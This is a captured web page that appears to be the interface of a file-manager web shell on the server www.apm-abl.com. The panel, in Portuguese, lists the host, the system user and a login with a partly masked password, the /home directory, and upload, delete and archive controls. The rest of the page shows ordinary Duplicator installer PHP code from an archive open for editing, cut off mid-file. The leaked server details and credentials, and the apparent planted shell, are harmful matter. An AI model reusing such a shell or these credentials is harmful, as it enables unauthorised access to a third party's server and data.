🗂️ File Manager Pro
🖥️ Tipo de Hospedagem:
Vps
📁 Diretório Raiz:
/home
🌐 Servidor:
www.apm-abl.com
👤 Usuário:
apmablcosr
🔐 Sessão:
🔑 Credenciais:
adm_a4f93500 / 6fce****
📍 Localização Atual:
home
Caminho completo: /home
📤 Enviar Arquivo
📁 Nova Pasta
⬆️ Voltar
🏠 Raiz
🗑️ DELETAR
📦 ZIPAR/DEZIPAR
Status
Nome
Tamanho
Modificado
Permissões
Ações
📁 a
-
03/02/2026 22:15
0755
✏️
📁 apmablcosr
-
26/01/2026 16:35
0705
✏️
🗑️
Editando: Core.tar
Hooks/Hook.php 0000644 00000045556 15136236437 0007271 0 ustar 00 <?php /** * Plugin API: WP_Hook class * * From wordpress WP_Hook class */ namespace Duplicator\Installer\Core\Hooks; /** * Core class used to implement action and filter hook functionality. * * @see Iterator * @see ArrayAccess */ final class Hook implements \Iterator, \ArrayAccess { /** * Hook callbacks. * * @var array */ public $callbacks = array(); /** * The priority keys of actively running iterations of a hook. * * @var array */ private $iterations = array(); /** * The current priority of actively running iterations of a hook. * * @var array */ private $currentPriority = array(); /** * Number of levels this hook can be recursively called. * * @var int */ private $nestingLevel = 0; /** * Flag for if we're current doing an action, rather than a filter. * * @var bool */ private $doingAction = false; /** * Hooks a function or method to a specific filter action. * * @param string $tag The name of the filter to hook the $function_to_add callback to. * @param callable $function_to_add The callback to be run when the filter is applied. * @param int $priority The order in which the functions associated with a particular action * are executed. Lower numbers correspond with earlier execution, * and functions with the same priority are executed in the order * in which they were added to the action. * @param int $accepted_args The number of arguments the function accepts. * * @return void */ public function addFilter($tag, $function_to_add, $priority, $accepted_args) { $idx = self::wpFilterBuildUniqueId($tag, $function_to_add, $priority); $priority_existed = isset($this->callbacks[$priority]); $this->callbacks[$priority][$idx] = array( 'function' => $function_to_add, 'accepted_args' => $accepted_args, ); // If we're adding a new priority to the list, put them back in sorted order. if (!$priority_existed && count($this->callbacks) > 1) { ksort($this->callbacks, SORT_NUMERIC); } if ($this->nestingLevel > 0) { $this->resortActiveIterations($priority, $priority_existed); } } /** * Handles resetting callback priority keys mid-iteration. * * @param false|int $new_priority Optional. The priority of the new filter being added. Default false, * for no priority being added. * @param bool $priority_existed Optional. Flag for whether the priority already existed before the new * filter was added. Default false. * * @return void */ private function resortActiveIterations($new_priority = false, $priority_existed = false) { $new_priorities = array_keys($this->callbacks); // If there are no remaining hooks, clear out all running iterations. if (!$new_priorities) { foreach ($this->iterations as $index => $iteration) { $this->iterations[$index] = $new_priorities; } return; } $min = min($new_priorities); foreach ($this->iterations as $index => &$iteration) { $current = current($iteration); // If we're already at the end of this iteration, just leave the array pointer where it is. if (false === $current) { continue; } $iteration = $new_priorities; if ($current < $min) { array_unshift($iteration, $current); continue; } while (current($iteration) < $current) { if (false === next($iteration)) { break; } } // If we have a new priority that didn't exist, but ::applyFilters() or ::doAction() thinks it's the current priority... if ($new_priority === $this->currentPriority[$index] && !$priority_existed) { /* * ...and the new priority is the same as what $this->iterations thinks is the previous * priority, we need to move back to it. */ if (false === current($iteration)) { // If we've already moved off the end of the array, go back to the last element. $prev = end($iteration); } else { // Otherwise, just go back to the previous element. $prev = prev($iteration); } if (false === $prev) { // Start of the array. Reset, and go about our day. reset($iteration); } elseif ($new_priority !== $prev) { // Previous wasn't the same. Move forward again. next($iteration); } } } unset($iteration); } /** * Unhooks a function or method from a specific filter action. * * @param string $tag The filter hook to which the function to be removed is hooked. * @param callable $function_to_remove The callback to be removed from running when the filter is applied. * @param int $priority The exact priority used when adding the original filter callback. * * @return bool Whether the callback existed before it was removed. */ public function removeFilter($tag, $function_to_remove, $priority) { $function_key = self::wpFilterBuildUniqueId($tag, $function_to_remove, $priority); $exists = isset($this->callbacks[$priority][$function_key]); if ($exists) { unset($this->callbacks[$priority][$function_key]); if (!$this->callbacks[$priority]) { unset($this->callbacks[$priority]); if ($this->nestingLevel > 0) { $this->resortActiveIterations(); } } } return $exists; } /** * Checks if a specific action has been registered for this hook. * * When using the `$function_to_check` argument, this function may return a non-boolean value * that evaluates to false (e.g. 0), so use the `===` operator for testing the return value. * * @param string $tag Optional. The name of the filter hook. Default empty. * @param callable|false $function_to_check Optional. The callback to check for. Default false. * * @return bool|int If `$function_to_check` is omitted, returns boolean for whether the hook has * anything registered. When checking a specific function, the priority of that * hook is returned, or false if the function is not attached. */ public function hasFilter($tag = '', $function_to_check = false) { if (false === $function_to_check) { return $this->hasFilters(); } $function_key = self::wpFilterBuildUniqueId($tag, $function_to_check, false); if (!$function_key) { return false; } foreach ($this->callbacks as $priority => $callbacks) { if (isset($callbacks[$function_key])) { return $priority; } } return false; } /** * Checks if any callbacks have been registered for this hook. * * @return bool True if callbacks have been registered for the current hook, otherwise false. */ public function hasFilters() { foreach ($this->callbacks as $callbacks) { if ($callbacks) { return true; } } return false; } /** * Removes all callbacks from the current filter. * * @param int|false $priority Optional. The priority number to remove. Default false. * * @return void */ public function removeAllFilters($priority = false) { if (!$this->callbacks) { return; } if (false === $priority) { $this->callbacks = array(); } elseif (isset($this->callbacks[$priority])) { unset($this->callbacks[$priority]); } if ($this->nestingLevel > 0) { $this->resortActiveIterations(); } } /** * Calls the callback functions that have been added to a filter hook. * * @param mixed $value The value to filter. * @param array $args Additional parameters to pass to the callback functions. * This array is expected to include $value at index 0. * * @return mixed The filtered value after all hooked functions are applied to it. */ public function applyFilters($value, $args) { if (!$this->callbacks) { return $value; } $nestingLevel = $this->nestingLevel++; $this->iterations[$nestingLevel] = array_keys($this->callbacks); $num_args = count($args); do { $this->currentPriority[$nestingLevel] = current($this->iterations[$nestingLevel]); $priority = $this->currentPriority[$nestingLevel]; foreach ($this->callbacks[$priority] as $the_) { if (!$this->doingAction) { $args[0] = $value; } // Avoid the array_slice() if possible. if (0 == $the_['accepted_args']) { $value = call_user_func($the_['function']); } elseif ($the_['accepted_args'] >= $num_args) { $value = call_user_func_array($the_['function'], $args); } else { $value = call_user_func_array($the_['function'], array_slice($args, 0, (int) $the_['accepted_args'])); } } } while (false !== next($this->iterations[$nestingLevel])); unset($this->iterations[$nestingLevel]); unset($this->currentPriority[$nestingLevel]); $this->nestingLevel--; return $value; } /** * Calls the callback functions that have been added to an action hook. * * @param array $args Parameters to pass to the callback functions. * * @return void */ public function doAction($args) { $this->doingAction = true; $this->applyFilters('', $args); // If there are recursive calls to the current action, we haven't finished it until we get to the last one. if (!$this->nestingLevel) { $this->doingAction = false; } } /** * Processes the functions hooked into the 'all' hook. * * @param array $args Arguments to pass to the hook callbacks. Passed by reference. * * @return void */ public function doAllHook(&$args) { $nestingLevel = $this->nestingLevel++; $this->iterations[$nestingLevel] = array_keys($this->callbacks); do { $priority = current($this->iterations[$nestingLevel]); foreach ($this->callbacks[$priority] as $the_) { call_user_func_array($the_['function'], $args); } } while (false !== next($this->iterations[$nestingLevel])); unset($this->iterations[$nestingLevel]); $this->nestingLevel--; } /** * Return the current priority level of the currently running iteration of the hook. * * @return int|false If the hook is running, return the current priority level. If it isn't running, return false. */ public function currentPriority() { if (false === current($this->iterations)) { return false; } return current(current($this->iterations)); } /** * Normalizes filters set up before WordPress has initialized to Hook objects. * * The `$filters` parameter should be an array keyed by hook name, with values * containing either: * * - A `Hook` instance * - An array of callbacks keyed by their priorities * * Examples: * * $filters = array( * 'wp_fatal_error_handler_enabled' => array( * 10 => array( * array( * 'accepted_args' => 0, * 'function' => function() { * return false; * }, * ), * ), * ), * ); * * @param array $filters Filters to normalize. See documentation above for details. * * @return WP_Hook[] Array of normalized filters. */ public static function buildPreinitializedHooks($filters) { /** @var WP_Hook[] $normalized */ $normalized = array(); foreach ($filters as $tag => $callback_groups) { if (is_object($callback_groups) && $callback_groups instanceof self) { $normalized[$tag] = $callback_groups; continue; } $hook = new self(); // Loop through callback groups. foreach ($callback_groups as $priority => $callbacks) { // Loop through callbacks. foreach ($callbacks as $cb) { $hook->addFilter($tag, $cb['function'], $priority, $cb['accepted_args']); } } $normalized[$tag] = $hook; } return $normalized; } /** * Determines whether an offset value exists. * * @link https://www.php.net/manual/en/arrayaccess.offsetexists.php * * @param mixed $offset An offset to check for. * * @return bool True if the offset exists, false otherwise. */ #[\ReturnTypeWillChange] public function offsetExists($offset) { return isset($this->callbacks[$offset]); } /** * Retrieves a value at a specified offset. * * @link https://www.php.net/manual/en/arrayaccess.offsetget.php * * @param mixed $offset The offset to retrieve. * * @return mixed If set, the value at the specified offset, null otherwise. */ #[\ReturnTypeWillChange] public function offsetGet($offset) { return isset($this->callbacks[$offset]) ? $this->callbacks[$offset] : null; } /** * Sets a value at a specified offset. * * @link https://www.php.net/manual/en/arrayaccess.offsetset.php * * @param mixed $offset The offset to assign the value to. * @param mixed $value The value to set. * * @return void */ #[\ReturnTypeWillChange] public function offsetSet($offset, $value) { if (is_null($offset)) { $this->callbacks[] = $value; } else { $this->callbacks[$offset] = $value; } } /** * Unsets a specified offset. * * @link https://www.php.net/manual/en/arrayaccess.offsetunset.php * * @param mixed $offset The offset to unset. * * @return void */ #[\ReturnTypeWillChange] public function offsetUnset($offset) { unset($this->callbacks[$offset]); } /** * Returns the current element. * * @link https://www.php.net/manual/en/iterator.current.php * * @return array Of callbacks at current priority. */ #[\ReturnTypeWillChange] public function current() { return current($this->callbacks); } /** * Moves forward to the next element. * * @link https://www.php.net/manual/en/iterator.next.php * * @return array Of callbacks at next priority. */ #[\ReturnTypeWillChange] public function next() { return next($this->callbacks); } /** * Returns the key of the current element. * * @link https://www.php.net/manual/en/iterator.key.php * * @return mixed Returns current priority on success, or NULL on failure */ #[\ReturnTypeWillChange] public function key() { return key($this->callbacks); } /** * Checks if current position is valid. * * @link https://www.php.net/manual/en/iterator.valid.php * * @return bool Whether the current position is valid. */ #[\ReturnTypeWillChange] public function valid() { return key($this->callbacks) !== null; } /** * Rewinds the Iterator to the first element. * * @link https://www.php.net/manual/en/iterator.rewind.php * * @return void */ #[\ReturnTypeWillChange] public function rewind() { reset($this->callbacks); } /** * Build Unique ID for storage and retrieval. * * The old way to serialize the callback caused issues and this function is the * solution. It works by checking for objects and creating a new property in * the class to keep track of the object and new objects of the same class that * need to be added. * * It also allows for the removal of actions and filters for objects after they * change class properties. It is possible to include the property $wp_filter_id * in your class and set it to "null" or a number to bypass the workaround. * However this will prevent you from adding new classes and any new classes * will overwrite the previous hook by the same class. * * Functions and static method callbacks are just returned as strings and * shouldn't have any speed penalty. * * @link https://core.trac.wordpress.org/ticket/3875 * * @since 2.2.3 * @since 5.3.0 Removed workarounds for spl_object_hash(). * `$tag` and `$priority` are no longer used, * and the function always returns a string. * @access private * * @param string $tag Unused. The name of the filter to build ID for. * @param callable $function The function to generate ID for. * @param int $priority Unused. The order in which the functions * associated with a particular action are executed. * * @return string Unique function ID for usage as array key. */ protected static function wpFilterBuildUniqueId($tag, $function, $priority) { if (is_string($function)) { return $function; } if (is_object($function)) { // Closures are currently implemented as objects. $function = array($function, ''); } else { $function = (array) $function; } if (is_object($function[0])) { // Object class calling. return spl_object_hash($function[0]) . $function[1]; } elseif (is_string($function[0])) { // Static calling. return $function[0] . '::' . $function[1]; } } } Hooks/HooksMng.php 0000644 00000041024 15136236437 0010100 0 ustar 00 <?php /** * Installer Hooks Manager * * @package Duplicator * @copyright (c) 2021, Snapcreek LLC */ namespace Duplicator\Installer\Core\Hooks; final class HooksMng { /** * * @var self */ private static $instance = null; /** * * @var Hook[] */ private $filters = array(); /** * * @var Hook[] */ private $actions = array(); /** * * @var string[] */ private $currentFilter = array(); /** * * @return self */ public static function getInstance() { if (is_null(self::$instance)) { self::$instance = new self(); } return self::$instance; } /** * init params and load */ private function __construct() { } /** * Hook a function or method to a specific filter action. * * WordPress offers filter hooks to allow plugins to modify * various types of internal data at runtime. * * A plugin can modify data by binding a callback to a filter hook. When the filter * is later applied, each bound callback is run in order of priority, and given * the opportunity to modify a value by returning a new value. * * The following example shows how a callback function is bound to a filter hook. * * Note that `$example` is passed to the callback, (maybe) modified, then returned: * * function example_callback( $example ) { * // Maybe modify $example in some way. * return $example; * } * add_filter( 'example_filter', 'example_callback' ); * * Bound callbacks can accept from none to the total number of arguments passed as parameters * in the corresponding applyFilters() call. * * In other words, if an applyFilters() call passes four total arguments, callbacks bound to * it can accept none (the same as 1) of the arguments or up to four. The important part is that * the `$accepted_args` value must reflect the number of arguments the bound callback *actually* * opted to accept. If no arguments were accepted by the callback that is considered to be the * same as accepting 1 argument. For example: * * // Filter call. * $value = applyFilters( 'hook', $value, $arg2, $arg3 ); * * // Accepting zero/one arguments. * function example_callback() { * ... * return 'some value'; * } * add_filter( 'hook', 'example_callback' ); // Where $priority is default 10, $accepted_args is default 1. * * // Accepting two arguments (three possible). * function example_callback( $value, $arg2 ) { * ... * return $maybe_modified_value; * } * add_filter( 'hook', 'example_callback', 10, 2 ); // Where $priority is 10, $accepted_args is 2. * * *Note:* The function will return true whether or not the callback is valid. * It is up to you to take care. This is done for optimization purposes, so * everything is as quick as possible. * * @param string $tag The name of the filter to hook the $function_to_add callback to. * @param callable $function_to_add The callback to be run when the filter is applied. * @param int $priority Optional. Used to specify the order in which the functions * associated with a particular action are executed. * Lower numbers correspond with earlier execution, * and functions with the same priority are executed * in the order in which they were added to the action. Default 10. * @param int $accepted_args Optional. The number of arguments the function accepts. Default 1. * * @return true */ public function addFilter($tag, $function_to_add, $priority = 10, $accepted_args = 1) { if (!isset($this->filters[$tag])) { $this->filters[$tag] = new Hook(); } $this->filters[$tag]->addFilter($tag, $function_to_add, $priority, $accepted_args); return true; } /** * Checks if any filter has been registered for a hook. * * When using the `$function_to_check` argument, this function may return a non-boolean value * that evaluates to false (e.g. 0), so use the `===` operator for testing the return value. * * @param string $tag The name of the filter hook. * @param callable|false $function_to_check Optional. The callback to check for. Default false. * * @return bool|int If `$function_to_check` is omitted, returns boolean for whether the hook has * anything registered. When checking a specific function, the priority of that * hook is returned, or false if the function is not attached. */ public function hasFilter($tag, $function_to_check = false) { if (!isset($this->filters[$tag])) { return false; } return $this->filters[$tag]->hasFilter($tag, $function_to_check); } /** * Calls the callback functions that have been added to a filter hook. * * The callback functions attached to the filter hook are invoked by calling * this function. This function can be used to create a new filter hook by * simply calling this function with the name of the new hook specified using * the `$tag` parameter. * * The function also allows for multiple additional arguments to be passed to hooks. * * Example usage: * * // The filter callback function. * function example_callback( $string, $arg1, $arg2 ) { * // (maybe) modify $string. * return $string; * } * add_filter( 'example_filter', 'example_callback', 10, 3 ); * * /* * * Apply the filters by calling the 'example_callback()' function * * that's hooked onto `example_filter` above. * * * * - 'example_filter' is the filter hook. * * - 'filter me' is the value being filtered. * * - $arg1 and $arg2 are the additional arguments passed to the callback. * $value = applyFilters( 'example_filter', 'filter me', $arg1, $arg2 ); * * @param string $tag The name of the filter hook. * @param mixed $value The value to filter. * ... $args Additional parameters to pass to the callback functions. * * @return mixed The filtered value after all hooked functions are applied to it. */ public function applyFilters($tag, $value) { $args = func_get_args(); // Do 'all' actions first. if (isset($this->filters['all'])) { $this->currentFilter[] = $tag; $this->callAllHook($args); } if (!isset($this->filters[$tag])) { if (isset($this->filters['all'])) { array_pop($this->currentFilter); } return $value; } if (!isset($this->filters['all'])) { $this->currentFilter[] = $tag; } // Don't pass the tag name to Hook. array_shift($args); $filtered = $this->filters[$tag]->applyFilters($value, $args); array_pop($this->currentFilter); return $filtered; } /** * Removes a function from a specified filter hook. * * This function removes a function attached to a specified filter hook. This * method can be used to remove default functions attached to a specific filter * hook and possibly replace them with a substitute. * * To remove a hook, the $function_to_remove and $priority arguments must match * when the hook was added. This goes for both filters and actions. No warning * will be given on removal failure. * * @param string $tag The filter hook to which the function to be removed is hooked. * @param callable $function_to_remove The name of the function which should be removed. * @param int $priority Optional. The priority of the function. Default 10. * * @return bool Whether the function existed before it was removed. */ public function removeFilter($tag, $function_to_remove, $priority = 10) { $r = false; if (isset($this->filters[$tag])) { $r = $this->filters[$tag]->removeFilter($tag, $function_to_remove, $priority); if (!$this->filters[$tag]->callbacks) { unset($this->filters[$tag]); } } return $r; } /** * Remove all of the hooks from a filter. * * @param string $tag The filter to remove hooks from. * @param int|false $priority Optional. The priority number to remove. Default false. * * @return true True when finished. */ public function removeAllFilters($tag, $priority = false) { if (isset($this->filters[$tag])) { $this->filters[$tag]->removeAllFilters($priority); if (!$this->filters[$tag]->hasFilters()) { unset($this->filters[$tag]); } } return true; } /** * Hooks a function on to a specific action. * * Actions are the hooks that the WordPress core launches at specific points * during execution, or when specific events occur. Plugins can specify that * one or more of its PHP functions are executed at these points, using the * Action API. * * @param string $tag The name of the action to which the $function_to_add is hooked. * @param callable $function_to_add The name of the function you wish to be called. * @param int $priority Optional. Used to specify the order in which the functions * associated with a particular action are executed. Default 10. * Lower numbers correspond with earlier execution, * and functions with the same priority are executed * in the order in which they were added to the action. * @param int $accepted_args Optional. The number of arguments the function accepts. Default 1. * * @return true Will always return true. */ public function addAction($tag, $function_to_add, $priority = 10, $accepted_args = 1) { return $this->addFilter($tag, $function_to_add, $priority, $accepted_args); } /** * Execute functions hooked on a specific action hook. * * This function invokes all functions attached to action hook `$tag`. It is * possible to create new action hooks by simply calling this function, * specifying the name of the new hook using the `$tag` parameter. * * You can pass extra arguments to the hooks, much like you can with `applyFilters()`. * * Example usage: * * // The action callback function. * function example_callback( $arg1, $arg2 ) { * // (maybe) do something with the args. * } * add_action( 'example_action', 'example_callback', 10, 2 ); * * /* * * Trigger the actions by calling the 'example_callback()' function * * that's hooked onto `example_action` above. * * * * - 'example_action' is the action hook. * * - $arg1 and $arg2 are the additional arguments passed to the callback. * $value = do_action( 'example_action', $arg1, $arg2 ); * * @global Hook[] $this->filters Stores all of the filters and actions. * @global string[] $this->currentFilter Stores the list of current filters with the current one last. * * @param string $tag The name of the action to be executed. * ...$arg Optional. Additional arguments which are passed on to the * functions hooked to the action. Default empty. * * @return void */ public function doAction($tag) { $arg = $all_args = func_get_args(); array_shift($arg); // remove tag action // Do 'all' actions first. if (isset($this->filters['all'])) { $this->currentFilter[] = $tag; $this->callAllHook($all_args); } if (!isset($this->filters[$tag])) { if (isset($this->filters['all'])) { array_pop($this->currentFilter); } return; } if (!isset($this->filters['all'])) { $this->currentFilter[] = $tag; } if (empty($arg)) { $arg[] = ''; } elseif (is_array($arg[0]) && 1 === count($arg[0]) && isset($arg[0][0]) && is_object($arg[0][0])) { // Backward compatibility for PHP4-style passing of `array( &$this )` as action `$arg`. $arg[0] = $arg[0][0]; } $this->filters[$tag]->doAction($arg); array_pop($this->currentFilter); } /** * Checks if any action has been registered for a hook. * * When using the `$function_to_check` argument, this function may return a non-boolean value * that evaluates to false (e.g. 0), so use the `===` operator for testing the return value. * * @see hasFilter() has_action() is an alias of hasFilter(). * * @param string $tag The name of the action hook. * @param callable|false $function_to_check Optional. The callback to check for. Default false. * * @return bool|int If `$function_to_check` is omitted, returns boolean for whether the hook has * anything registered. When checking a specific function, the priority of that * hook is returned, or false if the function is not attached. */ public function hasAction($tag, $function_to_check = false) { return $this->hasFilter($tag, $function_to_check); } /** * Removes a function from a specified action hook. * * This function removes a function attached to a specified action hook. This * method can be used to remove default functions attached to a specific filter * hook and possibly replace them with a substitute. * * @param string $tag The action hook to which the function to be removed is hooked. * @param callable $function_to_remove The name of the function which should be removed. * @param int $priority Optional. The priority of the function. Default 10. * * @return bool Whether the function is removed. */ public function removeAction($tag, $function_to_remove, $priority = 10) { return $this->removeFilter($tag, $function_to_remove, $priority); } /** * Remove all of the hooks from an action. * * @param string $tag The action to remove hooks from. * @param int|false $priority The priority number to remove them from. Default false. * * @return true True when finished. */ public function removeAllActions($tag, $priority = false) { return $this->removeAllFilters($tag, $priority); } /** * Retrieve the name of the current filter or action. * * @global string[] $wp_current_filter Stores the list of current filters with the current one last * * @return string Hook name of the current filter or action. */ public function currentFilter() { return end($this->currentFilter); } /** * Retrieve the name of the current action. * * @return string Hook name of the current action. */ public function currentAction() { return $this->currentFilter(); } /** * Call the 'all' hook, which will process the functions hooked into it. * * The 'all' hook passes all of the arguments or parameters that were used for * the hook, which this function was called for. * * This function is used internally for apply_filters(), do_action(), and * do_action_ref_array() and is not meant to be used from outside those * functions. This function does not check for the existence of the all hook, so * it will fail unless the all hook exists prior to this function call. * * @global Hook[] $this->filters Stores all of the filters and actions. * * @param array $args The collected parameters from the hook that was called. * * @return void */ private function callAllHook($args) { $this->filters['all']->doAllHook($args); } } Deploy/DupArchive/DawsLogger.php 0000644 00000003003 15136236437 0012607 0 ustar 00 <?php /** * Logger for dup archive * * @package Duplicator * @copyright (c) 2021, Snapcreek LLC */ namespace Duplicator\Installer\Core\Deploy\DupArchive; use Duplicator\Installer\Utils\Log\Log; use Duplicator\Libs\DupArchive\DupArchiveLoggerBase; use Exception; /** * Logger for dup archive */ class DawsLogger extends DupArchiveLoggerBase { /** * Init logger * * @return void */ public static function init() { set_error_handler(array(__CLASS__, "terminateMissingVariables"), E_ERROR); } /** * Log function * * @param string $s string to log * @param boolean $flush if true flish log * @param callback|null $callingFunctionOverride call back function * * @return void */ public function log($s, $flush = false, $callingFunctionOverride = null) { Log::info($s, Log::LV_DEFAULT, $flush); } /** * Throw exception on php error * * @param int $errno errno * @param string $errstr error message * @param string $errfile file * @param string $errline line * * @return void */ public static function terminateMissingVariables($errno, $errstr, $errfile, $errline) { Log::info("ERROR $errno, $errstr, {$errfile}:{$errline}"); /** * INTERCEPT ON processRequest AND RETURN JSON STATUS */ throw new Exception("ERROR:{$errfile}:{$errline} | " . $errstr, $errno); } } Deploy/DupArchive/DawsExpandState.php 0000644 00000010421 15136236437 0013612 0 ustar 00 <?php /** * Dup archvie expand state * * @package Duplicator * @copyright (c) 2021, Snapcreek LLC */ namespace Duplicator\Installer\Core\Deploy\DupArchive; use Duplicator\Libs\DupArchive\States\DupArchiveExpandState; use Duplicator\Libs\DupArchive\Utils\DupArchiveUtil; use Duplicator\Libs\Snap\SnapIO; use stdClass; class DawsExpandState extends DupArchiveExpandState { protected static $instance = null; const STATE_FILE = 'expandstate.json'; /** * Class constructor */ public function __construct() { $this->initMembers(); } /** * Remove state file * * @return bool */ public static function purgeStatefile() { $stateFilepath = dirname(__FILE__) . '/' . self::STATE_FILE; if (!file_exists($stateFilepath)) { return true; } return SnapIO::rm($stateFilepath, false); } /** * * @param boolean $reset reset state * * @return self */ public static function getInstance($reset = false) { if ((self::$instance == null) && (!$reset)) { $stateFilepath = dirname(__FILE__) . '/' . self::STATE_FILE; self::$instance = new self(); if (file_exists($stateFilepath)) { $stateHandle = SnapIO::fopen($stateFilepath, 'rb'); // RSR we shouldn't need read locks and it seems to screw up on some boxes anyway.. SnapIO::flock($stateHandle, LOCK_EX); $stateString = fread($stateHandle, filesize($stateFilepath)); $data = json_decode($stateString, false); self::$instance->setFromData($data); self::$instance->fileRenames = (array) (self::$instance->fileRenames); // SnapIO::flock($stateHandle, LOCK_UN); SnapIO::fclose($stateHandle); } else { $reset = true; } } if ($reset) { self::$instance = new self(); self::$instance->reset(); } return self::$instance; } /** * Init state from data * * @param stdClass $data data * * @return void */ private function setFromData($data) { foreach ($data as $key => $val) { if (!property_exists($this, $key)) { continue; } $this->{$key} = $val; } } /** * Reset state * * @return void */ public function reset() { $stateFilepath = dirname(__FILE__) . '/' . self::STATE_FILE; $stateHandle = SnapIO::fopen($stateFilepath, 'w'); SnapIO::flock($stateHandle, LOCK_EX); $this->initMembers(); SnapIO::fwrite($stateHandle, json_encode($this)); SnapIO::flock($stateHandle, LOCK_UN); SnapIO::fclose($stateHandle); } /** * Save state * * @return void */ public function save() { $stateFilepath = dirname(__FILE__) . '/' . self::STATE_FILE; $stateHandle = SnapIO::fopen($stateFilepath, 'w'); SnapIO::flock($stateHandle, LOCK_EX); DupArchiveUtil::tlog("saving state"); SnapIO::fwrite($stateHandle, json_encode($this)); SnapIO::flock($stateHandle, LOCK_UN); SnapIO::fclose($stateHandle); } /** * Init props * * @return void */ private function initMembers() { $this->currentFileHeader = null; $this->archiveOffset = 0; $this->archiveHeader = 0; $this->archivePath = null; $this->basePath = null; $this->currentFileOffset = 0; $this->failures = array(); $this->isCompressed = false; $this->startTimestamp = time(); $this->timeSliceInSecs = -1; $this->working = false; $this->validateOnly = false; $this->filteredDirectories = array(); $this->filteredFiles = array(); $this->fileRenames = array(); $this->directoryModeOverride = -1; $this->fileModeOverride = -1; $this->lastHeaderOffset = -1; $this->throttleDelayInUs = 0; $this->timerEnabled = true; } } Deploy/DupArchive/Daws.php 0000644 00000016376 15136236437 0011470 0 ustar 00 <?php /** * Dup archive expander * * @package Duplicator * @copyright (c) 2021, Snapcreek LLC */ namespace Duplicator\Installer\Core\Deploy\DupArchive; use DupArchiveStateBase; use Duplicator\Installer\Utils\Log\Log; use Duplicator\Libs\DupArchive\DupArchiveEngine; use Duplicator\Libs\DupArchive\Processors\DupArchiveFileProcessor; use Duplicator\Libs\Snap\SnapIO; use Duplicator\Libs\Snap\SnapUtil; use DUPX_ArchiveConfig; use DUPX_Package; use Exception; use stdClass; class Daws { const DEFAULT_WORKER_TIME = 18; protected $lock_handle = null; protected $failureCallback = null; protected $lockFile = ''; protected $cancelFile = ''; /** * Class contruct */ public function __construct() { DawsLogger::init(); date_default_timezone_set('UTC'); // Some machines don’t have this set so just do it here. DupArchiveEngine::init(new DawsLogger(), null); $this->lockFile = DUPX_INIT . '/dup-installer-dawslock__' . DUPX_Package::getPackageHash() . '.bin'; $this->cancelFile = DUPX_INIT . '/dup-installer-dawscancel__' . DUPX_Package::getPackageHash() . '.bin'; } /** * Failure callback * * @param callable $callback callback * * @return void */ public function setFailureCallBack($callback) { if (is_callable($callback)) { $this->failureCallback = $callback; } } /** * Extract dup archvie * * @param array $params dup archvie params * * @return stdClass */ public function processRequest($params) { $retVal = new stdClass(); $retVal->pass = false; $action = $params['action']; $initializeState = false; $archiveConfig = DUPX_ArchiveConfig::getInstance(); if (!DupArchiveFileProcessor::setNewFilePathCallback(array($archiveConfig, 'destFileFromArchiveName'))) { Log::info('ERROR: CAN\'T SET THE PATH SE CALLBACK FUNCTION'); } else { Log::info('PATH SE CALLBACK FUNCTION OK ', Log::LV_DEBUG); } $throttleDelayInMs = SnapUtil::getArrayValue($params, 'throttle_delay', false, 0); if ($action == 'start_expand') { Log::info('DAWN START EXPAND'); $initializeState = true; DawsExpandState::purgeStatefile(); SnapIO::rm($this->cancelFile); $archiveFilepath = SnapUtil::getArrayValue($params, 'archive_filepath'); $restoreDirectory = SnapUtil::getArrayValue($params, 'restore_directory'); $workerTime = SnapUtil::getArrayValue($params, 'worker_time', false, self::DEFAULT_WORKER_TIME); $filteredDirectories = SnapUtil::getArrayValue($params, 'filtered_directories', false, array()); $excludedDirWithoutChilds = SnapUtil::getArrayValue($params, 'excludedDirWithoutChilds', false, array()); $filteredFiles = SnapUtil::getArrayValue($params, 'filtered_files', false, array()); $fileRenames = SnapUtil::getArrayValue($params, 'fileRenames', false, array()); $fileModeOverride = SnapUtil::getArrayValue($params, 'file_mode_override', false, 0644); $includedFiles = SnapUtil::getArrayValue($params, 'includedFiles', false, array()); $directoryModeOverride = SnapUtil::getArrayValue($params, 'dir_mode_override', false, 0755); $keepFileTime = SnapUtil::getArrayValue($params, 'keep_file_time', false, false); $action = 'expand'; } else { Log::info('DAWN CONTINUE EXPAND'); } if ($action == 'expand') { $expandState = DawsExpandState::getInstance($initializeState); $this->lock_handle = SnapIO::fopen($this->lockFile, 'c+'); SnapIO::flock($this->lock_handle, LOCK_EX); if ($initializeState || $expandState->working) { if ($initializeState) { $expandState->archivePath = $archiveFilepath; $expandState->working = true; $expandState->timeSliceInSecs = $workerTime; $expandState->basePath = $restoreDirectory; $expandState->filteredDirectories = $filteredDirectories; $expandState->excludedDirWithoutChilds = $excludedDirWithoutChilds; $expandState->includedFiles = $includedFiles; $expandState->filteredFiles = $filteredFiles; $expandState->fileRenames = $fileRenames; $expandState->fileModeOverride = $fileModeOverride; $expandState->directoryModeOverride = $directoryModeOverride; $expandState->keepFileTime = $keepFileTime; $expandState->save(); } $expandState->throttleDelayInUs = 1000 * $throttleDelayInMs; DupArchiveEngine::expandArchive($expandState); } if (!$expandState->working) { $deltaTime = time() - $expandState->startTimestamp; Log::info("DAWN EXPAND DONE, SECONDS: " . $deltaTime, Log::LV_DETAILED); if (count($expandState->failures) > 0) { Log::info('DAWN EXPAND ERRORS DETECTED'); foreach ($expandState->failures as $failure) { Log::info("{$failure->subject}:{$failure->description}"); if (is_callable($this->failureCallback)) { call_user_func($this->failureCallback, $failure); } } } } else { Log::info("DAWN EXPAND CONTINUE", Log::LV_DETAILED); } SnapIO::flock($this->lock_handle, LOCK_UN); $retVal->pass = true; $retVal->status = $this->getStatus($expandState); } elseif ($action == 'get_status') { /* @var $expandState DawsExpandState */ $expandState = DawsExpandState::getInstance($initializeState); $retVal->pass = true; $retVal->status = $this->getStatus($expandState); } elseif ($action == 'cancel') { if (!SnapIO::touch($this->cancelFile)) { throw new Exception("Couldn't update time on " . $this->cancelFile); } $retVal->pass = true; } else { throw new Exception('Unknown command.'); } session_write_close(); return $retVal; } /** * Get dup archive status * * @param DupArchiveStateBase $state dup archive state * * @return stdClass */ private function getStatus(DawsExpandState $state) { $ret_val = new stdClass(); $ret_val->archive_offset = $state->archiveOffset; $ret_val->archive_size = @filesize($state->archivePath); $ret_val->failures = $state->failures; $ret_val->file_index = $state->fileWriteCount; $ret_val->is_done = !$state->working; $ret_val->timestamp = time(); return $ret_val; } } Deploy/Database/QueryFixes.php 0000644 00000027216 15136236437 0012343 0 ustar 00 <?php namespace Duplicator\Installer\Core\Deploy\Database; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Installer\Utils\Log\Log; use 